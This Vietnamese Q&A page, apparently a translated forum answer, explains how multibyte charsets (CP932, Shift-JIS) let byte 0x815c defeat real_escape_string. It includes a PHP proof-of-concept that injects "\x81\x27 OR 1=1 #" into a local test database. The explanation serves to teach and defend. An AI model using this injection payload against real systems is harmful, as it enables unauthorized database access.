Mysql
 sql >> Cơ Sở Dữ Liệu >  >> RDS >> Mysql

Làm thế nào để tạo một cuộc tấn công chèn SQL với Shift-JIS và CP932?

Quỷ dữ đang ở trong chi tiết ... hãy bắt đầu với cách trả lời câu hỏi như thế nào mô tả danh sách các bộ ký tự dễ bị tấn công:

Điều này cung cấp cho chúng tôi một số ngữ cảnh - 0xbf5c được sử dụng làm ví dụ cho gbk , không phải là ký tự chung để sử dụng cho tất cả 5 bộ ký tự.
Điều này xảy ra là cùng một chuỗi byte cũng là một ký tự hợp lệ trong big5gb2312 .

Tại thời điểm này, câu hỏi của bạn trở nên dễ dàng như sau:

Công bằng mà nói, hầu hết các tìm kiếm trên google mà tôi đã thử cho các bộ ký tự này không cho bất kỳ kết quả hữu ích nào. Nhưng tôi đã tìm thấy tệp CP932.TXT này , trong đó nếu bạn tìm kiếm '5c ' (với khoảng trống ở đó), bạn sẽ chuyển đến dòng này:

Và chúng ta có một người chiến thắng. :)

Một số tài liệu Oracle xác nhận rằng 0x815c là cùng một ký tự cho cả cp932sjis và PHP cũng nhận ra nó:

php > var_dump(mb_strlen("\x81\x5c", "cp932"), mb_strlen("\x81\x5c", "sjis"));
int(1)
int(1)

Đây là một tập lệnh PoC cho cuộc tấn công:

<?php
$username = 'username';
$password = 'password';

$mysqli = new mysqli('localhost', $username, $password);
foreach (array('cp932', 'sjis') as $charset)
{
        $mysqli->query("SET NAMES {$charset}");
        $mysqli->query("CREATE DATABASE {$charset}_db CHARACTER SET {$charset}");
        $mysqli->query("USE {$charset}_db");
        $mysqli->query("CREATE TABLE foo (bar VARCHAR(16) NOT NULL)");
        $mysqli->query("INSERT INTO foo (bar) VALUES ('baz'), ('qux')");

        $input = "\x81\x27 OR 1=1 #";
        $input = $mysqli->real_escape_string($input);
        $query = "SELECT * FROM foo WHERE bar = '{$input}' LIMIT 1";
        $result = $mysqli->query($query);
        if ($result->num_rows > 1)
        {
                echo "{$charset} exploit successful!\n";
        }

        $mysqli->query("DROP DATABASE {$charset}_db");
}



  1. Database
  2.   
  3. Mysql
  4.   
  5. Oracle
  6.   
  7. Sqlserver
  8.   
  9. PostgreSQL
  10.   
  11. Access
  12.   
  13. SQLite
  14.   
  15. MariaDB
  1. Người dùng chưa được xác thực trong MYSQL nghĩa là gì?

  2. ngủ đông lỗi truy vấn SQL gốc

  3. playframework 2.0 - đã vượt quá max_user_connections về diễn biến cơ sở dữ liệu?

  4. Để SHA512-băm một mật khẩu trong cơ sở dữ liệu MySQL bằng Python

  5. Thử lại bế tắc ActiveRecord3